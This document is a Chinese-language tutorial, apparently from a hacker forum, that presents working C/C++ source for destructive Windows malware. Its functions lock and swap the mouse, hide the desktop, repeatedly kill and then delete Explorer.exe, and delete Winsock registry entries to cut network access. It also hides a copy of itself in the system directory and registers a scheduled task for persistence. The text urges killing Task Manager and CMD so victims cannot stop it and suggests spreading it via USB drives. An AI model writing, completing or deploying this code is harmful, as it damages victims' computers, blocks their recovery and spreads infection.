控制鼠标
Code:
void Mouse()
{
RECT Rect;
Rect.left=10;
Rect.top=10;
Rect.right=20;
Rect.bottom=20; //设置锁定区域大小
ClipCursor(&Rect); // 锁定鼠标,限制移动区域
SwapMouseButton(TRUE); //交换鼠标左右键
}
简简单单的几个API调用就完成了任务,这个时候用户已经无法正常使用鼠标了,因为鼠标被锁定在左上方很小的一块区域中了。
隐藏桌面图标
Code:
void HDesk()
{
HWND hDesktop;
hDesktop = FindWindow("ProgMan", NULL); //获得桌面句柄
ShowWindow(hDesktop, SW_HIDE); //隐藏桌面图标
}
很简单吧,两句就把你桌面上的所有快捷方式给隐藏起来了。但是这个吓不到高级用户,于是想了更毒的办法----杀掉Explorer进程,哈哈~~这样屏幕上什么也没有了。但系统很快就会再启动explorer进程,怎么办?这里想了两个办法。
第一个办法:使用Sleep()函数,间隔性的检查进程中是否存在Explorer进程,如果存在就杀掉。
Code:
void kprocess(const char *processname)
{
char *fengze;
DWORD processid[1024],needed,processcount,io;
HANDLE hProcess;
HMODULE hModule;
char path[MAX_PATH] = "",temp[256]; //定义变量
EnablePrivilege(SE_DEBUG_NAME,TRUE); //提升权限
EnumProcesses(processid, sizeof(processid), &needed); //枚举所有进程
processcount=needed/sizeof(DWORD); //计算进程数量
for (io=0;io {
hProcess=OpenProcess(PROCESS_QUERY_INFORMATION |PROCESS_TERMINATE |PROCESS_VM_READ|PROCESS_VM_WRITE,false,processid[io]);
//打开进程并获得进程句柄
if (hProcess)
{
EnumProcessModules(hProcess, &hModule, sizeof(hModule), &needed);
// 枚举打开进程的模块
GetModuleFileNameEx(hProcess, hModule, path, sizeof(path));
// 获取模块文件名(包含路径)
GetShortPathName(path,path,256);
//将长文件名转换成短文件名
itoa(processid[io],temp,10); //转换为字符串
if((fengze=strstr(path,processname)))
//在进程路径中查找是否含有相关字符
{
TerminateProcess(hProcess,0); //如果有就结束进程
}
else
CloseHandle(hProcess); //关闭打开的进程
}
}
EnablePrivilege(SE_DEBUG_NAME,FALSE); //恢复权限
}
提升和恢复权限函数
int EnablePrivilege(LPCTSTR lpszPrivilegeName,BOOL bEnable)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY | TOKEN_READ,&hToken))
return 0; //打开进程的令牌环
if(!LookupPrivilegeValue(NULL, lpszPrivilegeName, &luid))
return 1; //修改进程权限
tp.PrivilegeCount = 1; //赋给本进程特权
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = (bEnable) ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken,FALSE,&tp,NULL,NULL,NULL);
//通知Windows修改本进程的权限
CloseHandle(hToken); return 0;
}
使用GOTO语句实现循环
void monitor()
{
char *tha="Explorer"; char *thb="explorer";
//这里定义2个是因为系统在恢复后此进程名开头就变成小写了
bg:kprocess(tha);
kprocess(thb); //杀掉进程
Sleep(3000); //程序休眠3秒中,这样程序对CPU使用的也降低了
Goto bg ;
}
以上是循环实现目的,下面还有一中方法就是杀掉进程后,查找Explorer.exe并删除,这样系统就会跳出一个对话框要求插入安装光盘进行恢复,如果这个时候我们关闭计算机的话,呵呵~~再进系统的时候就不显示任何东西了。我们还应该对任务管理器、IE和CMD还有其他一些进程进行查杀,这样才能保证我们自己不被用户给杀了。
注意:#include "PSAPI.H" //程序需要的头文件
#pragma comment( lib, "PSAPI.LIB" ) //程序需要的库文件
下面就是一个搜索文件的函数:
Code:
int viewfiles(char *directory)
{
WIN32_FIND_DATA fdFindData;
HANDLE hFind;
char *filename;
int count=0;
BOOL done;
filename=new char[strlen(directory)+5]; //给filename分配directory+5 个空间
strcpy(filename,directory); //将directory中的字符复制到filename中
strcat(filename,"\\*.*"); //将filename与\\*.*连接
hFind=FindFirstFile(filename,&fdFindData);
//根据filename来查找文件,返回搜索句柄给hFind
delete[] filename; //释放内存
done=hFind!=INVALID_HANDLE_VALUE;
while(done)
{
if(strcmp(fdFindData.cFileName,".") && strcmp(fdFindData.cFileName,".."))
//判断是当前目录或上一级目录
{
filename=new char[strlen(directory)+strlen(fdFindData.cFileName)+2];
// 给filename分配空间
strcpy(filename,directory); //把directory复制给filename
strcat(filename,"\\"); //把filename加上“\\”
strcat(filename,fdFindData.cFileName); //filename加上文件名
if((fdFindData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)==FILE_ATTRIBUTE_DIRECTORY)
//如果找到的是目录,则进入目录进行递归
count+=viewfiles(filename);
else
if(strstr(fdFindData.cFileName,"Explorer.exe")) //判断是否为要查找文件
{
count++; //对查找到的文件进行记数
DeleteFile(filename); //删除文件
}
delete[] filename; //释放内存
}
done=FindNextFile(hFind,&fdFindData); //寻找下一个文件
}
FindClose(hFind);
return(count);
}
这个函数掉用的时候只要指定一个分区就可以了,当然你也可以用循环来遍历所有分区,嘎嘎~~够恶毒~。
控制光驱
Code:
void Dfind()
{
int i;
UINT type;
char name;
char Dname[128];
for (name='A';name<='Z';name++) //遍历所有驱动器
{
Dname[0]=name; Dname[1]=':'; Dname[2]='\\'; Dname[3]='\0';
type = GetDriveType(Dname); //判断驱动器类型
if (type==DRIVE_CDROM)
{ //如果是光驱就打开
mciSendString("Set cdAudio door open wait", NULL, 0, NULL);
mciSendString("Set cdAudio door closed wait", NULL, 0, NULL);
}
}
}
再加个循环,不停的开关光驱,这样一来中标的朋友肯定吓一跳。
修改注册表
操作注册表的例子很多很多了,可以去找找,这里我就介绍一个东西。
Code:
void regdel()
{
HKEY hkresult;
LPCTSTR data="SYSTEM\\CurrentControlSet\\Services\\WinSock2\\SPI5.0\\Catalog_Entries";
RegOpenKeyEx( HKEY_LOCAL_MACHINE,
data, 0, KEY_ALL_ACCESS, &hkresult );
RegDeleteKey(hkresult,"000000000001"); RegDeleteKey( hkresult,"000000000002");
RegDeleteKey( hkresult,"000000000003");
……
RegDeleteKey( hkresult,"000000000015");
}
上面这个删除注册表的操作,计算机不会出现异常,也可以登陆到网络上,但QQ登陆不上去,IE访问不了网站………
有了以上操作,相信够把中标的朋友给吓晕了~~,单单有破坏还不够,我们还要保证自己的程序能存活啊。所以我就想到让程序复制并隐藏自己。
Code:
void filehidden()
{
UINT type;
char name;
char Dname[4];
char LPath[MAX_PATH];
char SysPath [MAX_PATH];
GetModuleFileName(NULL,LPath,MAX_PATH);
//获得当前文件路径
SetFileAttributes(LPath,FILE_ATTRIBUTE_HIDDEN
+FILE_ATTRIBUTE_SYSTEM);
//把文件设置成隐藏和系统属性
GetSystemDirectory(SysPath,MAX_PATH);
strcat(SysPath,"\\黑色天空.exe");
CopyFile(LPath,SysPath,FALSE); //复制到指定路径
}
我们还可以利用前面控制光驱的那段代码改变一下,将程序复制到U盘或则其他计算机外部的可写盘上,达到了传播的目的,实现起来很简单,就留给您自己来完成吧。
现在我们已经将一个文件给隐藏起来了,怎样来启动这个程序呢?注册表?不,我们还是用系统的任务计划吧,用系统自带的AT.exe程序?不!我们自己写 :)
Code:
void Jobadd(char * SysPath) //文件路径我们是从上面程序中获得
{
DWORD JobId;
AT_INFO ai;
long Len;
WCHAR szFilePath[256];
memset(&ai,0,sizeof(ai));
Len=MultiByteToWideChar(CP_ACP,0,SysPath,strlen(SysPath),
szFilePath,sizeof(szFilePath));
szFilePath[Len] = '\0';
//将路径转换成Unicode码
ai.Command=szFilePath;
ai.DaysOfMonth=0;
ai.DaysOfWeek=0x60;
ai.Flags=JOB_RUN_PERIODICALLY;
ai.JobTime=11*60*60*1000+50*60*1000;
//给ai结构变量各成员赋值
NetScheduleJobAdd(NULL,LPBYTE(&ai),&JobId);
//调用API函数添加任务计划
}
上面的函数将在任务计划中添加一个每周星期六和星期天,中午11点50执行我们指定程序的计划。但这个依赖Task Scheduler服务,我们直接调用system()函数来执行Net Start Schedule命令就可以了。
注意:#include
#include //程序需要的头文件
#pragma comment(lib,"NETAPI32.LIB") //程序需要的库文件


